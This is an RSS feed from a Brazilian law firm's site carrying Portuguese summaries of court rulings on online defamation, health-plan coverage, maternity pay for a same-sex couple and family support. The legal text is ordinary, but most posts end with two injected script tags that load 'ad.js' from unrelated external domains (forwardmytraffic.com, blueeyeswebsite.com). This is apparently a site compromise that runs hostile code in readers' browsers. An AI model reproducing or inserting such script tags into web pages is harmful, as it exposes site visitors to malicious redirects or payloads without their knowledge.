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	<title>Sem categoria &#8211; RFS Advocacia | Direito de Familia e Heranca, Imobiliario, Consumidor, Civel</title>
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	<description>Direito de Familia e Heranca, Imobiliario, Consumidor, Civel</description>
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	<title>Sem categoria &#8211; RFS Advocacia | Direito de Familia e Heranca, Imobiliario, Consumidor, Civel</title>
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		<title>TJRS &#8211; Comentários em grupo de WhatsApp geram indenização</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Wed, 22 Feb 2017 13:25:20 +0000</pubDate>
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					<description><![CDATA[A 5ª Câmara Cível do TJRS manteve sentença em caso envolvendo mãe e filha que foram denegridas moralmente num grupo de Whatsapp. Cada uma deverá ser<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>A 5ª Câmara Cível do TJRS manteve sentença em caso envolvendo mãe e filha que foram denegridas moralmente num grupo de Whatsapp. Cada uma deverá ser indenizada em R$ 3 mil reais por danos morais.</p>
<p><strong>O Caso</strong></p>
<p>Na ação ajuizada em Santiago, as autoras, mãe e filha (na época com 14 anos), alegaram que estavam em uma festa local aonde foram tiradas várias fotos, inclusive da menina. O réu, que é colega de faculdade da primeira autora enviou várias dessas fotos para um grupo no aplicativo Whatsapp chamado de Cretinus Club, do qual participam em torno de 40 homens. <ins datetime="2017-02-22T13:18:44+00:00">O ofensor teria postado várias mensagens com conotação sexual e palavras de baixo calão, chegando ao ponto do réu inclusive aludir que estava tendo um relacionamento amoroso com a mãe e que a filha também estava interessada nele.</ins></p>
<p>O fato foi descoberto porque um dos participantes do grupo, ao saber dos fatos, levou ao conhecimento das autoras, que registraram ocorrência policial.</p>
<p>O acusado se defendeu dizendo que não tinha sido ele que tinha enviado as mensagens, pois estava em horário de trabalho, e que a foto da jovem foi retirada do perfil público da autora no aplicativo de mensagens.<br />
Na sentença, a Juíza Ana Paula Nichel Santos condenou o réu a indenizar por danos morais. Ele recorreu da decisão.</p>
<p><ins datetime="2017-02-22T13:18:44+00:00">Apelação</ins></p>
<p>O Desembargador da 5ª Câmara Cível do TJRS, Jorge Luiz Lopes do Canto, foi o relator do caso. No apelo, o réu solicitou a reforma da sentença ou a redução no valor da indenização.</p>
<p>O magistrado julgou que com relação ao teor das conversas, ficam claras as ofensas à honra e à imagem das autoras, mais ainda considerando que uma delas era menor de idade, com apenas 14 anos na época dos fatos.</p>
<p><ins datetime="2017-02-22T13:18:44+00:00">O artigo 186, do Código Civil, preceitua que: aquele que, por ação ou omissão voluntária, negligência ou imprudência, violar direito e causar dano a outrem, ainda que exclusivamente moral, comete ato ilícito</ins>, citou o relator.</p>
<p>Não dando provimento ao apelo, <ins datetime="2017-02-22T13:18:44+00:00">manteve o valor de R$ 3 mil em indenização por danos morais às vítimas.</ins> Os Desembargadores Isabel Dias Almeida e Jorge André Pereira Gailhard acompanharam o relator.</p>
<p>Fonte:TJRS<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<title>TJSP-JUSTIÇA DETERMINA QUE OPERADORA DE SAÚDE CUSTEIE CIRURGIA BARIÁTRICA</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Mon, 07 Nov 2016 18:00:58 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[O juiz José Wilson Gonçalves, da 5ª Vara Cível de Santos, determinou que uma operadora de planos de saúde custeie cirurgia bariátrica a segurado portador de<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>O juiz José Wilson Gonçalves, da 5ª Vara Cível de Santos, determinou que uma operadora de planos de saúde custeie cirurgia bariátrica a segurado portador de obesidade mórbida. A decisão estipulou prazo de dez dias para cumprimento, sob pena de multa diária de R$ 10 mil, até o limite de R$ 500 mil, além de determinar o custeio do tratamento até a alta médica definitiva.</p>
<p>O segurado é portador de obesidade mórbida grau III e necessita, há mais de cinco anos, de intervenção cirúrgica bariátrica pelo método de videolaparoscopia. Ele afirmou que, apesar de ser beneficiário e realizar pagamento pontual das mensalidades, a empresa nega a cobertura do procedimento, razão pela qual requereu tutela antecipada de urgência para obrigar a empresa a autorizar e custear integralmente as despesas decorrentes do tratamento.</p>
<p>Em sua decisão,<ins datetime="2016-11-07T17:32:29+00:00"> o magistrado afirmou que se o médico prescreve a necessidade, não cabe ao plano de saúde qualquer discussão, mesmo que seja para indicar a técnica que implique menor gasto. </ins>“Está configurada a probabilidade do direito, ao passo que o perigo da demora se infere naturalmente da necessidade atual da providência médica prescrita (a demora processual de per si nesse caso justifica igualmente a liminar, eis que, tardiamente – depois de anos – o serviço judicial pode não ser mais útil). Deste modo, antecipo a tutela para determinar que o réu a custei integralmente”, afirmou.</p>
<p>Fonte: Tribunal de Justiça de São Paulo<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<title>TJSP-JUSTIÇA DETERMINA REMOÇÃO DE POSTAGENS OFENSIVAS NO FACEBOOK</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Thu, 03 Nov 2016 17:39:07 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[O juiz José Wilson Gonçalves, da 5ª Vara Cível de Santos, concedeu liminar para determinar que o Facebook providencie a remoção de postagens ofensivas a um<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>O juiz José Wilson Gonçalves, da 5ª Vara Cível de Santos, concedeu liminar para determinar que o Facebook providencie a remoção de postagens ofensivas a um médico. A decisão fixou prazo de dez dias corridos para o cumprimento, sob pena de multa diária de R$ 1 mil, até o limite de R$ 1 milhão, além de punição por dolo processual e apuração de responsabilidade criminal por desobediência. </p>
<p>O cirurgião plástico alegou que foi impiedosamente difamado e caluniado na rede social por uma paciente que ficou insatisfeita com o procedimento realizado e o acusou de ser negligente e não ter ética. As postagens, curtidas e comentadas por vários integrantes da rede, ganharam repercussão viral. Ele alegou que causaram profundo dano à sua imagem, reputação e honra. </p>
<p>Na decisão, o magistrado explica que, <ins datetime="2016-11-03T17:32:27+00:00">mesmo descontente com o médico, o paciente não pode propagar o aborrecimento com o emprego de expressões naturalmente ofensivas, valendo-se de redes sociais.</ins> Deve, se for o caso, propor ação e representá-lo perante o órgão de classe competente. “Os elementos apresentados pelo autor evidenciam a probabilidade de seu direito e, ademais, dá-se o perigo de dano, diante da repercussão negativa que as postagens, em si mesmas, têm aptidão de gerar”, concluiu.</p>
<p>Fonte:TJSP<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<title>Suicídio de mulher que teve vídeo exposto na internet choca a Itália</title>
		<link>http://rfsadvocacia.com.br/suicidio-de-mulher-que-teve-video-exposto-na-internet-choca-a-italia/</link>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Fri, 16 Sep 2016 22:35:05 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[O suicídio de uma mulher que lutou por meses para que retirassem da internet um vídeo em que aparecia transando levantou polêmica e indignação na Itália.<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>O suicídio de uma mulher que lutou por meses para que retirassem da internet um vídeo em que aparecia transando levantou polêmica e indignação na Itália.</p>
<p>Tiziana, 31 anos, se enforcou na casa de sua tia em Mugnano, perto de Nápoles (sul), angustiada e humilhada por ter se transformado em alvo de todo tipo de bullying.</p>
<p>Tudo começou há um ano, quando a jovem enviou para seu ex-namorado e algumas amigas um vídeo em que aparecia tendo relações sexuais com outro homem.</p>
<p>O vídeo caiu na rede e foi visto por quase um milhão de internautas, sem que ela soubesse.</p>
<p>Envergonhada, se mudou para Toscana e tentou mudar de identidade, mas seu pesadelo não acabou.</p>
<p>&#8220;Está filmando? Bravo&#8221;, disse o homem no vídeo, palavras que ganharam força em forma de memes, hashtags e até mesmo em camisetas.</p>
<p><strong>Depois de uma difícil batalha legal, Tiziana conseguiu que o vídeo fosse retirado de vários motores de busca e plataformas, como o Facebook.</strong></p>
<p><strong>No entanto, teve que pagar 20.000 euros por gastos processuais, um motivo a mais que a levou a acabar com sua vida, segundo a imprensa italiana.</strong></p>
<p><ins datetime="2016-09-16T22:29:31+00:00">&#8220;Por que as imagens ainda estão na rede? Por que ainda rimos de uma moça que acabou com a própria vida devido às humilhações que sofreu?&#8221;, questiona o editorial do jornal &#8220;Il Mattino&#8221;.</ins></p>
<p><ins datetime="2016-09-16T22:29:31+00:00">Os promotores de Nápoles abriram uma investigação por &#8220;indução ao suicídio&#8221; e a justiça terá de determinar quem são os responsáveis diretos ou indiretos da morte.</ins></p>
<p>Fonte: O tempo<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<item>
		<title>TRF1- Paciente hipossuficiente tem direito a serviço de assistência domiciliar paga pelo Estado.</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Thu, 08 Sep 2016 12:42:39 +0000</pubDate>
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		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[A 6ª Turma do TRF da 1ª Região negou provimento às apelações interpostas pela União e pelo município de Cuiabá contra a sentença da 3ª Vara<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>A 6ª Turma do TRF da 1ª Região negou provimento às apelações interpostas pela União e pelo município de Cuiabá contra a sentença da 3ª Vara da Seção Judiciária de Mato Grosso que julgou procedente o pedido do autor, paciente que necessita de atendimento médico domiciliar, para determinar que os réus providenciem os medicamentos e o Serviço de Assistência Domiciliar (Home Care) adequados ao caso clínico do requerente e o pagamento de despesas efetuadas para o tratamento médico, com a devida correção monetária e juros de mora constantes do Manual de Orientação de Cálculos da Justiça Federal.</p>
<p>Em seus argumentos recursais, a União requer a anulação/reforma do julgado alegando a ingerência do Poder Judiciário sobre a esfera precípua de funções dos demais Poderes e a impossibilidade orçamentária do ente federado amparando-se na cláusula da reserva do possível limitado pelo mínimo existencial.</p>
<p>Já o município de Cuiabá/MT, em apelação, alega a nulidade parcial da sentença em virtude de a condenação em ressarcimento se revelar ultra petita – julgamento que concede além do que foi pedido pelo autor – por isso, requer o município a rejeição dos pedidos formulados na inicial devido à impossibilidade orçamentária do ente federado (cláusula da reserva do possível, limitada pelo mínimo existencial) ou a responsabilização do estado de Mato Grosso na prestação do serviço, uma vez que a responsabilidade do município seria apenas subsidiária.</p>
<p>Ao analisar a questão, o relator, desembargador federal Kassio Marques, rejeitou a arguição de ilegitimidade e esclarece que<strong> <ins datetime="2016-09-08T12:35:37+00:00">“sendo o Sistema Único de Saúde (SUS) composto pela União, Estados-Membros, Distrito Federal e Municípios, qualquer um deles tem legitimidade para figurar no polo passivo de demandas que objetivem assegurar, à população carente, o acesso a medicamento e a tratamentos médicos”.</strong><ins datetime="2016-09-08T12:35:37+00:00"></ins></p>
<p>Quanto à nulidade parcial da condenação ultra petita, o magistrado, fazendo referência aos fundamentos da Defensoria Pública nas contrarrazões, entende que &#8220;não há que se falar em nulidade da condenação, pois, a parte assistida ao ajuizar a demanda o fez com o intuito de garantir a realização da totalidade do tratamento médico adequado pleiteado, tendo essa necessidade provida apenas após provocar o Poder Judiciário”. Destaca o desembargador que o pedido ocorreu pela provocação da parte autora e em momento processual adequado, não caracterizando condenação ultra petita e não se figura razoável ou até mesmo justo que agora o município pretenda se esquivar de suas responsabilidades.</p>
<p><strong>O relator afirma que é dever do Estado, nele compreendidos a União, os Estados, o Distrito Federal e os Municípios, assegurar às pessoas que não possuem recursos financeiros o acesso a serviços ligados à área da saúde, indispensáveis à manutenção da vida, direito fundamental protegido constitucionalmente.</strong><ins datetime="2016-09-08T12:35:37+00:00"></p>
<p>O magistrado entende que “para a concessão do fornecimento do tratamento (Home Care) o pedido deve vir acompanhado de necessária justificativa, na qual constem informações essenciais para aferir a pertinência da medida pleiteada, dados técnicos que atestem a imprescindibilidade do tratamento pleiteado, confirmem a inexistência de outra opção eficaz, apontem a atual situação clínica do paciente e o grau evolução da doença, bem como a demonstração nos autos da hipossuficiência financeira do paciente.</p>
<p>Nesse sentido, o desembargador ressalta que, ao analisar os autos,<strong> “constata-se que a decisão impugnada, além de considerar a medida almejada, com base nos elementos probatórios acostados, necessária e urgente ao tratamento, registrou a sua reversibilidade e a possibilidade, em não sendo concedido o direito pleiteado, de danos irreparáveis à saúde e até à vida do paciente”.</strong></ins></p>
<p>Nesses termos, o Colegiado, acompanhando o voto do relator, negou provimento aos recursos da União e do município de Cuiabá e deu parcial provimento à remessa oficial para afastar a condenação da União ao pagamento de honorários advocatícios em favor da Defensoria Pública da União (DPU).</p>
<p>Processo nº: 0017580-54.2014.4.01.3600/MT</p>
<p>Fonte: Tribunal Regional Federal da 1ª Região<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<item>
		<title>TJSP &#8211; JUSTIÇA DETERMINA QUE TIO PAGUE PENSÃO ALIMENTÍCIA A SOBRINHO</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Tue, 06 Sep 2016 21:17:52 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[O juiz Caio César Melluso, da 2ª Vara da Família e Sucessões de São Carlos, determinou que um tio, com situação financeira favorável, pague pensão alimentícia<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>O juiz Caio César Melluso, da 2ª Vara da Família e Sucessões de São Carlos, determinou que um tio, com situação financeira favorável, pague pensão alimentícia ao sobrinho, portador da Síndrome de Asperger – condição neurológica do espectro autista. </p>
<p>O pai do jovem, além de não pagar a pensão devida, abandonou-o afetivamente, havendo, inclusive, imposição de medida de afastamento contra ele. Não tendo outros parentes que possam arcar com a obrigação, a mãe do menino pediu a determinação ao tio.</p>
<p>Na sentença, o magistrado sustentou que o <ins datetime="2016-09-06T20:42:55+00:00">Código Civil estabelece que os parentes colaterais, até o quarto grau, são herdeiros legítimos. “Assim, se herdeiros são, não há motivos para excluí-los, os parentes colaterais até o quarto grau, da obrigação de prestar alimentos, o que é corolário do dever de solidariedade entre os parentes.”<br />
</ins></p>
<p><strong>Não tendo outras pessoas </strong>que possam arcar com a obrigação alimentícia e,<strong> considerando o fato de que ele paga mesada ao enteado,</strong> o magistrado concluiu como plenamente possível a obrigação ao tio. “Conforme a Constituição, sendo, ainda que de maneira subsidiária e excepcional, plenamente possível a fixação de obrigação alimentícia em desfavor do requerido (tio), pois restou incontroverso que o pai (ascendente) não arca com a sua obrigação e que a avó paterna (ascendente), não tem condições”, concluiu.</p>
<p>O tio foi condenado a pagar alimentos em duas bases de cálculo: 10% dos rendimentos líquidos – aplicada quando o autor estiver empregado com registro em carteira de trabalho ou recebendo benefício/auxílio previdenciário; e 40% do salário vigente – se estiver desempregado ou exercendo trabalho informal. “Em qualquer hipótese, no cálculo do valor da pensão, prevalecerá o maior valor entre as duas bases, pago até o dia 10 de cada mês, mediante desconto em folha ou depósito em conta corrente”, finalizou.</p>
<p>Fonte: Comunicação Social TJSP.<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<item>
		<title>TRF2- assegura salário-maternidade para casal homoafetivo</title>
		<link>http://rfsadvocacia.com.br/trf2-assegura-salario-maternidade-para-casal-homoafetivo/</link>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Wed, 31 Aug 2016 17:00:07 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[A 2ª Turma Especializada do TRF2 decidiu manter decisão da primeira instância, que garantiu o direito ao salário-maternidade para uma das duas mães de uma criança<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>A 2ª Turma Especializada do TRF2 decidiu manter decisão da primeira instância, que garantiu o direito ao salário-maternidade para uma das duas mães de uma criança do Rio de Janeiro. O casal homoafetivo havia tido o pedido de benefício negado administrativamente pelo INSS e, por conta disso, ajuizou ação na Justiça Federal do Rio de Janeiro.</p>
<p>O juízo de primeiro grau dera prazo a autarquia de dez dias para implantar o salário-maternidade em favor de uma das requerentes, por cento e vinte dias, cabendo ao empregador conceder a licença-maternidade pelo mesmo prazo. Segundo informações do processo, uma das mães realizou a gestação do óvulo fecundado da outra, que foi quem pediu e teve negado o benefício administrativamente. Em seus argumentos, a previdência sustentou que o benefício só seria devido à segurada gestante.</p>
<p>O INSS apresentou agravo no TRF2, contra a decisão de primeiro grau, argumentando que a ordem judicial teria gerado &#8220;um privilégio odioso em favor de casais homoafetivos, em detrimento de casais heteroafetivos, pois naquele caso, ambos têm 120 dias direito ao benefício de salário-maternidade, enquanto que nesse apenas um tem o direito e fruí-lo&#8221;.</p>
<p>O relator do processo no Tribunal, desembargador federal Messod Azulay, destacou que o alegado privilégio não foi demonstrado nos autos, já que o pedido foi para apenas um benefício, tendo sido escolhido voluntariamente pelas mães qual delas seria beneficiária direta. Para o magistrado, a licença e o pagamento do benefício visam ao bem-estar do recém nascido: &#8220;Sendo ambas as mães seguradas do INSS, qualquer delas tem direito a gozar da licença maternidade, desde que não onere a previdência para além do que seria devido caso se tratasse de uma família constituída de pai e mãe. Não havendo dupla percepção, não há privilégio. Há, apenas, exercício da esfera privada de liberdade do casal de mães. <ins datetime="2016-08-31T16:39:29+00:00"><strong> É importante notar que o referido benefício não está ligado ao evento biológico ou à parturiente, mas sim ao melhor benefício à criança, conforme assegurado pela Constituição da República&#8221;, explicou o magistrado.</strong><ins datetime="2016-08-31T16:39:29+00:00"><br />
 </ins></p>
<p>Proc. 0013623-17.2015.4.02.0000</p>
<p>Fonte:Tribunal Regional Federal da 2ª Região<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<title>TJRS -Reconhecido dano moral em postagem de professor que divulgou B.O. contra aluno em rede social</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Tue, 23 Aug 2016 20:30:47 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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										<content:encoded><![CDATA[<p><strong>A alegação do professor de que permaneceu por pouco tempo publicada postagem que divulgou Boletim de Ocorrência (B.O.)</strong> contra aluno <ins datetime="2016-08-23T20:26:50+00:00">não afastou a responsabilidade por danos causados. A condenação, em R$ 3 mil por danos morais, foi confirmada pela 10° Câmara Cível do Tribunal de Justiça.</ins></p>
<p><strong>Caso</strong></p>
<p>Professor da Escola Estadual Julio de Castilhos havia feito uma reunião na qual informaria quais alunos estariam ou não aprovados, sendo que os alunos não aprovados, teriam direito a fazer a prova de recuperação. O nome do aluno não foi citado, sendo assim o jovem concluiu que estava aprovado na matéria. Porém uma semana depois, um colega o informou que estava reprovado, por não ter comparecido na prova de recuperação.</p>
<p>O aluno teria ido até seu professor para pedir explicação do fato, o mesmo então teria reconhecido o erro na hora de somar as notas e aprovado o jovem. Entretanto, horas depois, foi publicado pelo professor no Facebook um B.O feito contra o aluno, alegando que o jovem o ameaçou verbalmente caso não o aprovasse. O aluno ajuizou ação narrando ter sofrido uma série de ofensas e humilhações e que o caso teria se propagado por toda a Escola.</p>
<p><strong>Decisão</strong></p>
<p>Na Comarca de Porto Alegre o Juiz Paulo Cesar Filippon condenou o ato do professor, fixando indenização no valor de R$ 3 mil. &#8220;<ins datetime="2016-08-23T20:26:50+00:00">Restou demonstrada a conduta precipitada por parte do réu, ao expor publicamente o nome do autor, considerada a publicação de suas coordenadas e documentos, configurando flagrante violação dos direitos fundamentais da intimidade, da vida privada e da imagem, razão pela qual exsurge o dever de indenizar&#8221;, julgou o magistrado.</ins></p>
<p>O professor interpôs apelação no Tribunal de Justiça mas foi negada, sendo mantida a condenação.</p>
<p>Para o relator do recurso, Desembargador Jorge Alberto Schreiner Pestana, ao publicar o B.O, o professor expôs o aluno a críticas e humilhações, causando abalos psicológicos ao jovem. </p>
<p>&#8220;O que causou danos morais ao autor foi justamente a propagação, em seu colégio, de sua imagem como alguém que ameaçou um professor, gerando revolta entre estudantes e professores, que passaram a ter uma atitude hostil para com o demandante, conforme depoimentos testemunhais&#8221;, analisou o Desembargador. &#8220;Assim, <ins datetime="2016-08-23T20:26:50+00:00">levando em conta o fato de que o réu tinha como amigos no facebook diversas pessoas que frequentavam o colégio Júlio de Castilhos, a simples limitação do alcance da publicação em nada reduz os danos causados, visto que os abalos advieram justamente em razão da repercussão do fato.&#8221;</ins></p>
<p>O voto foi acompanhado pelos Desembargadores Túlio De Oliveira Martins e Marcelo Cezar Müller.</p>
<p>Fonte: Tribunal de Justiça do Rio Grande do Sul <script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<title>TJMT-Phelps inspira uso da técnica da constelação familiar para infratores.</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Fri, 19 Aug 2016 20:08:11 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[Com o propósito de reinserir na sociedade jovens em conflito com a lei, a 2ª Vara da Infância e da Juventude de Cuiabá (MT) realizou, na<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>Com o propósito de reinserir na sociedade jovens em conflito com a lei, a 2ª Vara da Infância e da Juventude de Cuiabá (MT) realizou, na tarde de segunda-feira (15), a segunda Constelação Familiar. A técnica foi aplicada entre cinco menores de idade, de 14 a 19 anos, e o familiar responsável. Entre eles, um interno e quatro jovens que cumprem medidas socioeducativas em liberdade foram beneficiados.</p>
<p><strong>A oficina começou com a exibição de um vídeo sobre a história de vida e de superação de um dos maiores atletas de todos os tempos, o nadador norte-americano Michael Phelps</strong>. O<strong> vídeo mostra que o nadador tinha um mau relacionamento com o pai, o policial Fred Phelps, que se divorciou da mãe ainda quando ele era criança.</strong> <ins datetime="2016-08-19T20:03:42+00:00">O relacionamento refletiu negativamente em sua carreira, o levou à depressão, a maus comportamentos, como dirigir embriagado, bem como a desistir do esporte em 2012, quando anunciou a aposentadoria.</ins></p>
<p><strong>Phelps chegou a parar em uma clínica de reabilitação para conflitos familiares.</strong> <ins datetime="2016-08-19T20:03:42+00:00">Ao resolver o que tanto o incomodava, a ausência do pai, ele voltou com tudo a treinar a natação em 2014 e nas olimpíadas de 2016, no Rio de Janeiro, quebrou novos recordes. Em toda a carreira, Phelps quebrou 37 recordes mundiais e conquistou o maior número de medalhes de ouro em uma só olimpíada</ins>.</p>
<p>De mãos dadas &#8211; A história comoveu alguns dos presentes no auditório do Juizado da Infância e da Juventude. <strong>No Complexo do Pomeri, alguns jovens acompanharam os relatos aninhados no colo e de mãos dadas com a mãe</strong>. As sessões de constelação foram coordenadas pela consteladora Neiva Klug, acompanhadas pela juíza da 3ª Vara Especializada de Família e Sucessões de Várzea Grande, Jaqueline Cherulli, e envolveu 10 consteladores. Com experiência prática em constelação em sua comarca, a juíza Cherulli foi convidada pelo juiz da 2ª Vara da Infância e Juventude de Cuiabá, Túlio Duailibi, para desenvolver o projeto no Complexo do Pomeri, na capital.</p>
<p>Ela explica <strong>o quanto é importante resgatar e restaurar os laços familiares para que os jovens em conflito com a lei consigam enfrentar o cumprimento das medidas socioeducativas da melhor forma possível.</strong> “Com essa técnica, queremos tornar a vida das pessoas melhores. <strong>Queremos trazer mais suavidade para a vida das pessoas, porque na vida a gente sofre muita pressão de várias formas. Que as famílias parentais ou conjugais possam se restaurar. Que essas crianças que vemos aqui hoje consigam ter uma visão de mundo diferente do que era o Judiciário antigamente”, frisou a magistrada Cherulli.<br />
</strong><br />
<strong>Conforme a magistrada, a ferramenta é tão potente que, após passar pela constelação, a reincidência é mínima. A constatação foi verificada em um estudo desenvolvido pelo juiz Sami Storch, do Tribunal de Justiça da Bahia (TJBA), e divulgado pelo site do Conselho Nacional de Justiça (CNJ). “Esse estudo nos mostra que temos uma possibilidade efetiva de não reincidência de 90%”, garantiu a juíza.</strong></p>
<p>Fonte: TJMT<br />
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		<title>STJ- É abusiva cláusula de plano que restringe exame pedido por médico conveniado.</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Mon, 08 Aug 2016 20:54:10 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[Sem categoria]]></category>
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					<description><![CDATA[É abusiva a cláusula contratual que restringe autorização para realização de exames, diagnósticos e internações a pedido de médicos conveniados a plano de saúde. O entendimento<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p><strong>É abusiva a cláusula contratual que restringe autorização para realização de exames, diagnósticos e internações a pedido de médicos conveniados a plano de saúde.</strong> O entendimento é da Quarta Turma do Superior Tribunal de Justiça (STJ).</p>
<p>A controvérsia surgiu depois que um médico de Mato Grosso procurou o Ministério Público (MP) estadual. O profissional alegou que seu paciente, beneficiário da Unimed Cuiabá, era portador de tumor cerebral e necessitava realizar ressonância nuclear magnética e diversos exames hormonais. Todavia, estava tendo dificuldade em conseguir as autorizações para a realização dos exames solicitados.</p>
<p>O inquérito do MP verificou que vários outros usuários tiveram a mesma dificuldade na realização de exames prescritos por médicos de sua confiança, mas que não constavam na lista da cooperativa. Em muitos casos, segundo os testemunhos, os pacientes precisavam pagar o exame ou procurar um médico credenciado somente para prescrever a solicitação.</p>
<p><strong>Relações de consumo</strong></p>
<p>Em ação pública, o órgão ministerial alegou que a prática é abusiva e ofensiva aos princípios básicos das relações de consumo. Afirmou também que as cláusulas contratuais que não autorizam a realização de exames, diagnósticos ou internações hospitalares, quando as guias de requisição são assinadas por médico não cooperado, constrangem o usuário, causando-lhe transtornos e prejuízos desnecessários.</p>
<p>No pedido, além de destacar a propaganda enganosa, pois a cooperativa afirmava estar cumprindo a legislação, solicitou a reparação dos danos causados aos usuários, tanto materiais quanto morais.</p>
<p>A sentença declarou nulas as cláusulas 6.3.1, 6.4.1 e 6.4.2 do contrato e determinou a veiculação da decisão nos meios de comunicação. A título de dano material, condenou a Unimed Cuiabá a reembolsar os usuários dos valores pagos a terceiros, dentro do prazo decadencial, com atualização monetária a partir da data do pagamento. Para sanar o dano moral coletivo, foi determinado depósito de R$ 200 mil no Fundo Municipal de Saúde.</p>
<p>A cooperativa recorreu da sentença ao Tribunal de Justiça de Mato Grosso (TJMT), que reconheceu como abusiva a cláusula que condiciona as autorizações a pedidos de médicos credenciados e a necessidade de reparação de dano material.</p>
<p>O TJMT, porém, afastou o dano moral genérico, alegando que o caso se refere a dano moral individual. O tribunal também entendeu não ser necessária veiculação da sentença em emissoras locais, mantendo somente a publicidade nos meios de comunicação escrita.</p>
<p><strong>Recurso especial<br />
</strong><br />
Tentando reverter a invalidação da cláusula contratual, a cooperativa recorreu ao STJ. O ministro Luis Felipe Salomão, relator do recurso especial, destacou o fato de a cobertura não se estender aos honorários dos não cooperados, sendo restrita somente aos exames e internações, que deveriam poder ser solicitados por qualquer profissional.</p>
<p>De acordo com Salomão, “<strong>internações e demais procedimentos hospitalares não podem ser obstados aos usuários cooperados, exclusivamente pelo fato de terem sido solicitados por médico diverso daqueles que compõem o quadro da operadora, pois isso configura não apenas discriminação do galeno, mas também tolhe tanto o direito de usufruir do plano contratado com a liberdade de escolher o profissional que lhe aprouver”.</strong></p>
<p><ins datetime="2016-08-08T20:49:17+00:00">O<ins datetime="2016-08-08T20:49:17+00:00"> entendimento foi acolhido unanimemente pela Quarta Turma do STJ e, com isso, fica mantida a abusividade da cláusula contratual estabelecida pela cooperativa médica Unimed Cuiabá.</ins></ins></p>
<p>Fonte: STJ<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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